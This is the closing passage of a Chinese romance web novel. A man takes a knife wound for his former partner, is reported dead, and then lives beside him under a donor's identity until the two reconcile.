“你就真的甘心吗?”
余赋秋垂下眼睫。
他转身,推开自己的门。
走了进去。
门在他身后关上。
屋里很安静。
长春春带着愿安已经睡了,婴儿床里传来轻轻的呼吸声。
他坐在沙发上,没有开灯。
窗外的天已经完全黑了。
他看着对面那扇门。
那条缝还在。
那里面,一点声音都没有。
他坐了很久。
很久很久。
久到窗外的雨终于落下来,打在玻璃上,噼里啪啦。
然后他站起来。
推开门。
对面那扇门被他轻轻推开。
屋里很暗,没有开灯。只有窗外透进来的一点光,勉强照出客厅的轮廓。
长庭知就躺在沙发上。
一动不动。
余赋秋走过去。
走近了,他才看清——
长庭知蜷缩在沙发上,身上盖着的,是那件他以前穿过的旧外套。旁边还堆着几件衣服,都是他的。那些衣服被他叠成一个窝的形状,把自己裹在里面。
他的脸红得不正常。
余赋秋蹲下来,伸手摸了摸他的额头。
烫得吓人。
“长庭知。”
没有回应。
他又叫了一声。
还是没有。
余赋秋的心沉了一下。
他掏出手机,打给林远。
“开车过来,送人去医院。”
医院急诊室的灯很亮。
长庭知躺在病床上,挂着点滴,脸上还是那不正常的高温烧出来的红。
医生说高烧到四十度,再晚点送来,脑子都要烧坏了。
余赋秋坐在旁边,看着他。
看着他苍白的脸,看着他烧得干裂的嘴唇,看着他即使在昏迷中也紧紧皱着的眉头。
褚宝梨的话又在耳边响。
“靠着一点你的气息活着。”
“你就真的甘心吗?”
“甘心把他让给别人吗?”
余赋秋低下头。
他把脸埋进手心里。
不知道过了多久。
病床上的人动了动。
长庭知的眼睛慢慢睁开,迷迷糊糊地看了看四周,最后落在余赋秋身上。
他愣住了。
以为自己在做梦,伸出手,又不敢触碰余赋秋的脸,他滚动着喉头,喃喃道:“是我烧迷糊了吗?”
“这个梦太美了,还能梦到球球。”
他的声音沙哑得几乎听不见,带着那种烧糊涂了的人的迷糊。
“你来了……”
“我以为你不要我了……”
“我以为你真的不要我了……”
余赋秋没有说话。
长庭知看着他,眼泪从眼角滑下来,落在枕头上。
“我错了……”他喃喃着,不知道是清醒还是糊涂,“我真的错了……你不要走……你别走……”
“我可以改……我什么都改……你不让我来,我就不来……你让我消失,我就消失……”
“可是你别不要我……求你了……别不要我……”
余赋秋站起来。
长庭知的眼睛一下子睁大了,里面全是恐慌。
“球球——”
余赋秋走到门口。
长庭知挣扎着想坐起来,手上的针头都歪了,血渗出来。
“球球你别走——!”
余赋秋拉开门。
长庭知的声音已经带了哭腔:“我求你了——!”
余赋秋走出去。
门在他身后关上。
长庭知躺在那里,眼泪不停地流,浑身都在发抖。
他想追出去,可身上一点力气都没有。
他只能躺在那里,看着那扇关上的门,一遍一遍地喊:
“球球……球球……”
没有人回答。
只有输液管里,一滴一滴落下的药水。
过了一会儿。
门又开了。
长庭知愣住。
余赋秋站在门口,手里端着一杯热水。
他走过来,把水放在床头柜上。
然后他坐下来,看着他。
长庭知不敢说话,不敢动,只是愣愣地看着他。
余赋秋看了他一会儿。
然后他伸出手,把那床滑下去的被子往上拉了拉,盖住他的肩膀。
长庭知的眼泪又流下来了。
“球球……”
余赋秋没有看他。
但他也没有走。
他就坐在那里,坐在病床边。
“非得这么折腾自己吗?”
“你想死就别死在我面前……”
“我……”
他抿了抿唇,捂着心口。
这里还是会很疼啊。
但长庭知显然已经烧迷糊了。
那双眼睛因为高烧而有些涣散,却还是拼命想要聚焦,想要看清那个人。
“球球……”
他的声音沙哑得像砂纸磨过,每一个字都像是从喉咙里硬挤出来的。
余赋秋没有应。
长庭知看着他,眼眶慢慢红了。
“球球……”他又叫了一声,带着那种烧糊涂了的、不自觉的委屈,“疼……”
余赋秋的睫毛颤了颤。
“哪疼?”
“头疼……嗓子疼……浑身都疼……”长庭知喃喃着,眼睛却一直盯着余赋秋,生怕他消失一样,“你摸摸……摸摸就不疼了……”
他说着,伸出手,想去够余赋秋的手。
那只手在半空晃了晃,没够着,软软地垂下去。
余赋秋看着那只垂下去的手,没有说话。
长庭知的眼睛更红了。
余赋秋看着他。
看着他那副狼狈的样子,看着他满脸的泪,看着他因为高烧而泛红的脸和干裂的嘴唇。
他想起很久很久以前。
那时候长庭知也发过一次高烧,烧得人事不省。他守了三天三夜,那人醒过来,第一句话就是“球球,我好疼”。
那时候的长庭知,还会撒娇。
会拉着他的手不放,会把脸埋在他怀里蹭,会迷迷糊糊地说“球球最好”。
后来那个人就不见了。
变成了另一个长庭知。
冷冷的,凶凶的,会把他关起来的。
可现在——
这个人躺在这里,烧得满脸通红,抓着他的手不放,用那种委屈的、撒娇的、带着哭腔的声音喊他。
和从前一模一样。
余赋秋站在那里,看了他很久。
然后他重新坐下来。
“不想死就好好躺着。”他说,声音还是很淡,“别乱动。”
长庭知愣愣地看着他。
“球球……你不走了?”
余赋秋没有回答。
他只是伸出手,把那只因为乱动而渗血的手轻轻按住,把歪了的针头扶正。
长庭知看着他的动作,眼泪又流下来了。
“球球……”他喃喃着,“你真好……”
余赋秋的动作顿了顿。
“你好傻……”长庭知继续说,烧糊涂了,什么话都往外说,“以前就傻……现在也傻……对我这么好干什么……我那么坏……”
余赋秋没有说话。
长庭知抓着他的手,抓得死紧。
“我坏死了……”他的声音越来越低,越来越迷糊,“我把你关起来……我把你弄疼……我让你哭……”
他的声音越来越含糊,最后变成了断断续续的呢喃。
“球球……我好疼……”
“你摸摸我……”
“就摸一下……”
余赋秋看着他。
看着他闭着眼睛、眉头紧皱的样子,看着他即使在昏迷中也紧紧抓着自己不放的手。
沉默了很久。
然后他伸出手。
轻轻地、轻轻地,摸了摸他的额头。
还是烫。
长庭知感觉到了那只手,整个人往那方向蹭了蹭,像是小动物本能地寻找温暖。
“球球……”他呢喃着,嘴角竟然弯了弯,“你摸我了……”
余赋秋的眼眶有些发酸。
他收回手,想把那只抓着自己的手掰开。
可长庭知抓得太紧了,怎么都掰不开。
他试了几次,放弃了。
就那么让他抓着。
过了一会儿,护士进来换药。
看见两个人握在一起的手,愣了一下,什么都没说,换了药就出去了。
余赋秋靠在椅背上,闭着眼睛。
长庭知的呼吸渐渐平稳下来,烧也退了一点。
可他的手,始终没有松开。
……
长庭知醒来的时候,是深夜.
月光落在白色的床单上,落在空荡荡的椅子上。
他愣了一下。
球球呢?
他扭头看了看四周——没有。
洗手间的门开着,里面没人。
他坐起来,胸口突然涌上一股说不清的恐慌。
不好的预感。
很不好。
他顾不上那么多,一把扯掉手上的针头,血珠冒出来,他也顾不上擦,光着脚就冲出了病房。
走廊里人来人往,他疯了一样到处看,到处找。
没有。
到处都没有。
他冲下楼,冲到医院门口,四处张望——
然后他看见了。
医院旁边那条僻静的小巷里。
余赋秋站在那里,被逼到了墙角。
而站在他对面的——
是柯祈安。
长庭知的瞳孔猛地收缩。
柯祈安怎么会在这里?!他应该在监狱里!他应该——
他看见柯祈安手里握着的东西。
刀。
昏暗的灯光下,那刀闪着刺眼的光。
柯祈安的神情癫狂,眼睛红得像疯狗,嘴里不知道在说什么,一步一步朝余赋秋逼近。
余赋秋退无可退,脸色苍白,却没有喊,没有叫。
他只是看着他,那么平静地、冷冷地看着他。
长庭知的脑子里“嗡”的一声,一片空白。
他冲了过去。
“球球——!”
柯祈安听见声音,转过头,看见长庭知,嘴角咧开一个疯狂的弧度。
“哟,来了啊。”他说,声音沙哑刺耳,“正好,一起——”
他举起刀,朝余赋秋刺过去!
那一瞬间太快了。
快得余赋秋只看见一个身影扑过来,挡在他面前。
然后是一声闷哼。
温热的液体溅在他脸上。
血。
是血。
那血,带着他的体温,一滴一滴,顺着余赋秋苍白的脸颊滑落。
余赋秋愣住了。
他站在那里,看着眼前的人,看着那把插在他腹部的刀,看着那不断涌出来的、染红了他衣服的鲜血。
那些血溅在他脸上。
温热的。
腥甜的。
像很多很多年前——
在冰冷的地下室。
被火焰吞噬的精神病院。
囚笼。
冰冷的栏杆,贴满照片的墙。
有人在笑。
有人把他按在墙上,在他耳边说,你逃不掉的。
冰冷的器械,嵌进血肉里的东西。
疼。
好疼。
他喊了,没人应。
他哭了,没人看。
他跑了,被拖回来。
锁起来。
血。
都是血。
他挖开自己血肉的时候,那些血也是这样涌出来的。
温热的,腥甜的,染红了地板,染红了他的手。
那时候他在想什么?
在想——
死了就好了。
死了就不疼了。
长庭知站在他面前,背对着他,一只手死死抓住柯祈安握着刀的手,另一只手——
另一只手护在他身前。
那刀,插在他的腹部。
柯祈安愣住了,随即疯狂地笑起来:“哈哈哈哈——好——好——你们一起死——”
他想把刀拔出来再刺。
可长庭知抓着他,抓得死紧,紧得像铁钳一样。
“来人——!”长庭知吼,声音已经变了调,“来人——!”
有人冲过来了。
保安,护士,路人。
柯祈安被按在地上,还在疯狂地笑。
长庭知慢慢转过身,看着余赋秋。
血从他腹部涌出来,染红了衣服,一滴一滴落在地上。
他的脸色迅速苍白下去,可他还是看着余赋秋,看着那张溅了他血的脸。
“球球……”他开口,声音沙哑得几乎听不见,“你没事吧?”
余赋秋站在那里,看着他。
看着他的血,看着他苍白的脸,看着他还在努力朝自己挤出一个笑的、傻得不行的样子。
他张了张嘴,却发不出声音。
长庭知伸出手,想摸摸他的脸。
手举到一半,垂下去了。
他的眼睛慢慢闭上。
身体往下滑。
“长庭知——!”
余赋秋一把抱住他,跪在地上。
血染红了他的衣服,染红了他的手,染红了地面。
“长庭知——!你睁开眼——!你看着我——!”
长庭知的睫毛颤了颤,眼睛微微睁开一条缝。
他看着余赋秋。
看着那张满是惊恐的脸,看着那双终于不再冷漠的眼睛。
他的嘴角弯了弯。
“球球……”他的声音轻得几乎听不见,“你……你喊我名字了……”
余赋秋的眼泪一下子就涌出来了。
“你闭嘴——!不许说话——!”
长庭知却还在笑。
“你……你抱我了……”
余赋秋抱得死紧,浑身都在抖。
“来人——!快来人——!”
救护人员冲过来了,把他抬上担架。
长庭知的手一直抓着余赋秋,不肯松开。
余赋秋跟着跑,握着他的手,握得死紧。
“不许死——!长庭知你听到没有——!不许死——!”
长庭知躺在担架上,看着他。
看着他满脸的泪,看着他紧握的手,看着他终于肯为他哭的样子。
他轻轻笑了。
“球球……”
“嗯?”
“你……你还疼吗?”
余赋秋愣住了。
“什么?”
长庭知看着他,眼神已经开始涣散,却还是努力聚焦在他脸上。
“你捂着心口……说……说这里疼……”
“我听见了……”
余赋秋的眼泪流得更凶了。
“你都烧糊涂了——你怎么听见的——!”
长庭知没有回答。
他只是看着他,一直看着他。
“我以后……不让你疼了……”
他的声音越来越轻,越来越轻。
“对不起……”
眼睛慢慢闭上了。
“长庭知——!长庭知——!!”
余赋秋还想说话。
他想说什么。
可他说不出来。
心脏突然狠狠地抽了一下。
疼。
很疼。
像有什么东西在胸腔里爆炸,把他的呼吸、他的声音、他的一切,都炸得粉碎。
他捂住心口。
整个人往地上软下去。
他本身生产过后心脏功能进一步恶化,现在看到爱人大出血,他怕爱人死在自己面前。
受到这样刺激。
心脏再也绷受不住了。
……
余赋秋醒来的时候,眼前一片黑暗。
他眨了眨眼,又眨了眨。
还是黑。
他歪了歪头,声音沙哑地问:“怎么这么黑?现在是黑夜吗?”
没有人回答。
床边空荡荡的。
他又问了一遍:“有人吗?”
门被推开了。
脚步声靠近,一个人在他床边坐下,轻轻握住他的手。
“不是黑夜。”那个人的声音说,带着一点沙哑,很温柔,“是……你的眼睛暂时看不见了。医生说可能是心理性的,需要时间恢复。”
余赋秋愣住。
他的手轻轻颤了一下。
“……昭铭?”
那个人顿了一秒。
“嗯,是我。”
余赋秋沉默了一会儿。
然后他问:“长庭知呢?”
沈昭铭没有说话。
余赋秋又问了一遍:“他在哪?”
沈昭铭握紧他的手。
“他……”他的声音有些哑,“他死了。”
余赋秋的身体僵住了。
“手术的时候,大出血。”沈昭铭说,每一个字都像是从喉咙里硬挤出来的,“没抢救过来。”
余赋秋张了张嘴,想说什么。
却什么都说不出来。
沈昭铭继续说:“他把心脏……捐给了你。”
“你现在跳动着的心脏,是他的。”
余赋秋坐在那里,一动不动。
他的脸上没有任何表情。
只是眼泪,无声地流了下来。
……
时间回到先前。
沈昭铭坐在长庭知面前,手里拿着一份文件。
他的脸色很差,苍白里透着青灰,眼窝深陷,整个人像是被什么东西抽空了。
“我有遗传病。”他说,声音很平静,“家族性的,活不过四十。”
“……但是现在突发了。”
长庭知看着他。
“还有多久?”
“不知道。”沈昭铭说,“几个月,或者……更快。”
长庭知的眉头皱起来。
沈昭铭把文件推到他面前。
“配型成功了。”他说,“我的心脏,可以给他。”
长庭知愣住了。
他看着那份文件,看着上面那些密密麻麻的字,看着沈昭铭签好的名字——
他的眼眶慢慢红了。
“你……”
“我知道你想说什么。”沈昭铭打断他,“但我不是为你。”
他看着长庭知。
“我是为他。”
长庭知低下头。
沉默了很久。
然后他问:“条件是什么?”
沈昭铭看着他。
“他已经查清楚了。”他说,“精神病院那些事——电击,殴打,强制治疗——所有的记录,所有的签字,都是你。”
“系统的事情,他都知道了。”
“是你剥夺了他全部的人生。”
长庭知的脸一下子白了。
“你们没可能了。”沈昭铭说,声音很冷,“他知道真相的那一天,就是你们彻底结束的那一天。”
长庭知坐在那里,一动不动。
沈昭铭继续说:“等他醒来,我会告诉他,你已经死了。”
“心脏移植给了他,抢救无效。”
“从今以后,你不能再以长庭知的身份出现在他面前。”
长庭知的肩膀开始抖。
“如果你愿意,”沈昭铭说,“你可以用我的身份,留在他身边。”
“照顾他,保护他,陪他走完这一生。”
“但你必须一辈子,做沈昭铭。”
“一辈子,不能告诉他你是谁。”
长庭知抬起头。
他的眼眶红得像要滴血,里面全是泪。
可他一滴都没让它落下来。
“如果……”他的声音沙哑得几乎听不见,“如果他能重新爱上我呢?”
沈昭铭看着他。
“如果他有一天,能重新接受你呢?”
长庭知的眼睛里有一点点微弱的希望。
沈昭铭沉默了很久。
然后他说:“那你就告诉他真相。”
“到那时候,你告诉他你是谁。”
“如果他能接受,那就是你们的命。”
“如果不能……”
他没说完。
但长庭知懂了。
如果不能,他就得继续演下去。
演一辈子。
长庭知低下头。
他看着自己的手。
这双手,曾经伤害过他。
这双手,也曾经保护过他。
这双手,以后只能以别人的名义,触碰他。
他闭上眼睛。
“我答应。”
……
余赋秋醒来的那个早上,长庭知站在病房外面。
透过玻璃,他看见余赋秋睁开眼睛,看见他茫然地问“怎么这么黑”,看见沈昭铭走进去,握住他的手。
他看见余赋秋问:“长庭知呢?”
他的心像是被什么东西狠狠攥住了。
他看见沈昭铭沉默了几秒,然后开口。
他听不见他说了什么。
但他看见了余赋秋的脸。
看见他的表情从茫然变成震惊,从震惊变成空白,然后——
眼泪流下来。
无声的,汹涌的,怎么也止不住的。
长庭知站在门外,看着那些眼泪。
他的眼眶也红了。
可他不能进去。
不能安慰。
不能抱着他说“我在”。
只能站着。
隔着那扇玻璃,看着。
看着他哭。
看着他流那些本不该为他流的泪。
……
长庭知走进病房的时候,已经是手术后了。
他在门口站了很久,深呼吸,调整表情,让自己看起来像另一个人。
然后他推开门。
余赋秋靠在床头,面向窗户的方向。他看不见,但他知道窗外有阳光。
长庭知走过去,在床边坐下。
“昭铭?”余赋秋问。
“……嗯。”他应了一声,声音有些哑。
余赋秋没有说话。
长庭知看着他。
看着他苍白的脸,看着他红肿的眼眶,看着他放在被子外面、瘦得能看见骨节的手。
他伸出手,轻轻握住那只手。
余赋秋的手颤了一下。
但没有抽开。
“医生说,”长庭知开口,努力让自己的声音听起来像另一个人,“你的眼睛需要时间恢复。可能是心理性的,急不来。”
余赋秋点了点头。
沉默。
很长的沉默。
然后余赋秋问:“他的后事……”
长庭知的呼吸一滞。
“我会处理。”他说,声音压得很低,“你好好养病,别操心。”
余赋秋没有再说话。
他只是安静地坐在那里,任由他握着自己的手。
窗外,阳光慢慢移动。
长庭知就那么坐着。
握着他的手。
用另一个人的身份。
……
那天晚上,余赋秋睡着了。
长庭知坐在床边,看着他。
看着他那张苍白的脸,看着他即使在睡梦中也微微蹙起的眉头,看着他偶尔轻轻颤动的睫毛。
他想起很多年前。
那条巷子里,那个朝他伸出手的少年。
那些挤在出租屋里取暖的冬夜,他把唯一的被子裹在他身上。
春春出生那天,他抱着那个皱巴巴的小婴儿,眼睛亮得像落了星星。
还有那些后来——
那些伤害,那些囚禁,那些恐惧。
那些他亲手造成的、永远无法弥补的错。
他低下头。
把脸埋进那只握着的手里。
肩膀轻轻抖着。
没有声音。
余赋秋在睡梦中动了动,好像感觉到了什么。
他的手指轻轻蜷起来,回握住那只手。
长庭知愣住了。
他抬起头,看着余赋秋。
余赋秋没有醒。
只是握着。
像是无意识的,像是本能。
第二天早上,余赋秋醒来的时候,床边已经准备好了早餐。
温热的粥,切好的水果,一杯温水。
长庭知坐在旁边,看着他。
“醒了?”他问,努力让自己的声音听起来温柔又平常,“吃点东西?”
余赋秋点了点头。
长庭知把粥端起来,一勺一勺喂给他。
余赋秋吃得很慢,很安静。
吃到一半,他突然开口:
“昭铭。”
长庭知的手顿了顿。
“嗯?”
余赋秋沉默了一会儿。
然后他说:“你对我真好。”
长庭知的眼眶一酸。
他低下头,继续喂粥。
“应该的。”他说。
余赋秋没有再说话。
阳光从窗户照进来,落在两个人身上。
一个在黑暗里。
一个在阳光下。
一个以为自己是另一个人。
一个真的以为自己活成了另一个人。
……
秋天了。
街边的梧桐开始落叶,风一吹,金黄的叶子簌簌地往下掉,铺了满地。
环卫工人还没来得及扫,踩上去沙沙响,软软的,像踩在一床金色的毯子上。
长庭知走在余赋秋身后三步远的地方。
这些年他养成了习惯——跟在后面,不远不近,刚好能在意外发生时冲上去的距离。
不能太近,近了会让他不安;不能太远,远了来不及护着他。
余赋秋走在前面,盲杖轻轻点着地面,一下,一下,节奏很稳。
他已经走了三年了。
三年来,每天都是这条路。
从家到那家小小的店,从店到家。
不长,二十分钟的路程,余赋秋要走半小时,因为他看不见,因为他要慢慢地、小心地点着盲杖,试探前面的路。
长庭知就跟在后面,陪他走这半小时。
一步都不差。
今天有点不一样。
风比昨天大,叶子比昨天多,路上被落叶铺得厚厚一层,几乎看不见盲道的黄色地砖。
长庭知的目光一刻都不敢离开。
他盯着余赋秋的脚,盯着那根盲杖,盯着前面的路。
他想开口提醒,但终究也只是张了张口没说出去,只是用手触碰了下余赋秋,自己去前面捡落叶。
他不敢。
他的声音会让余赋秋想起那个人。
那个人已经死了,死在三年前的手术台上。
现在他叫沈昭铭,是余赋秋的朋友,是陪他走过最难那段日子的恩人。
不是那个人。
永远不能是那个人。
他往前快走了几步,弯腰去捡——
就在他低头的那一瞬间,余赋秋继续往前走。
盲道在前面延伸。
而盲道正中间,横着一块石头。
灰扑扑的,不知道哪来的,就那样挡在路上。
长庭知没有看见,也不知道余赋秋摘下墨镜,看着他的背影。
他正低着头,捡那片落叶。
余赋秋已经走到那块石头前面了,离那块石头,只剩一步。
他的的眼眸微微动了一下。
只是一下,很轻很轻,轻得像是风吹过湖面泛起的一丝涟漪。
然后他的嘴角,勾出一抹笑,很淡很淡的笑。
淡得像是根本没有,又像是藏了很久很久。
他抬起脚,大步跨过了那块石头。
稳稳地,稳稳地。
继续往前走,像是从来没有看见过那块石头。
余赋秋走在前面。
他听见身后的脚步声,又跟上来了。
他的嘴角又弯了一下。
没有回头,继续往前走。
风很轻。
偶尔吹过来一阵,带起几片叶子,打着旋儿,落在两个人的脚边。
余赋秋走在前面,节奏很稳。
他的影子被夕阳拉得很长很长,斜斜地铺在身后的落叶上。
长庭知跟在后面。
还是那个距离——三步远。
他的影子也拉得很长,和余赋秋的影子并排着,有时候被风吹动的树影打断,然后又接上。
两个人的影子,在那条金色的路上,一直平行着。
一前一后。
不远不近。
然后余赋秋调整了速度,很慢很慢。
慢到身后那个人,几乎要走上来,和他并肩。
长庭知愣了一下。
他看着前面那个放慢的脚步,看着那根依旧点着地的盲杖,看着那个被夕阳镀上一层金边的背影。
他不知道余赋秋为什么慢下来。
是累了吗?
是想让他走近一点吗?
他不知道。
可他的脚步,不自觉地加快了一点。
影子的距离,缩短了。
从三步,变成两步。
从两步,变成一步。
夕阳把他们的影子拉得更长了,两个人的影子在地上几乎要碰到一起。
余赋秋停了下来。
他没有回头。
只是伸出手。
那只手,在夕阳里被染成温暖的橙色,手指微微张开,掌心朝上——
像是在等着什么。
像是在很多很多年前,那条昏暗的小巷里,他曾经做过的那样。
风停了。
落叶也不再飘了。
时间好像也停了。
长庭知站在那里,看着那只手。
看着那只手的形状,看着那只手在夕阳里的轮廓,看着那只手等着他握住的样子。
他的眼眶倏地红了。
他想起了那条巷子。
想起了那个雨夜,那个浑身是伤、蜷缩在墙角的小男孩。
想起了那个撑着伞走过来的少年,朝他伸出手,说——
“走吧。”
他想起那幅场景,和现在一模一样。
余赋秋开口了,声音很轻,被风送过来,落在长庭知耳边。
“走。”
他顿了顿,“牵着我。”
“我们回家。”
长庭知的眼泪一下子就涌出来了。
他没有出声,只是站在那里,看着那只手,看着那个背影,看着那个在夕阳里等着他的人。
他想起这些年来,他跟在后面,不敢靠近,不敢出声,只能远远地看着。
他想起那些伤害,那些错过,那些再也无法弥补的错。
他想起他以为他再也不会等到这一天。
可现在——
那只手就在前面。
等着他。
长庭知抬起脚,一步一步,走过去。
他走到余赋秋身边。
他伸出手。
他把自己的手,慢慢地、慢慢地,插进余赋秋的十指之间。
十指相扣。
就像很多年前,那个少年第一次牵起他的手一样。
余赋秋的手还是那样温暖,那样让人安心。
长庭知握着那只手,握得很紧。
紧得像怕他再松开。
紧得像怕这只是一场梦。
他的声音响起来,沙哑的,轻轻的,却每一个字都清清楚楚:“嗯。”
“回家。”
就像很多年前,那个浑身是伤的小男孩,看着那一束照亮他的光,说的那句话。
一模一样。
余赋秋眉目弯弯,但他依然没有回头。
只是握着那只手,继续往前走。
马上要到冬天了,冬天到了,春天还会远吗?
当一个故事快要结束的时候,人们总会想起它的开始。
就像是他和长庭知相遇的那一个季节,那是一个春天的温柔长满了枝头的季节。
而这个季节,即将来临。
此后年年春日,人间温柔,岁岁相逢-
正文完-《 》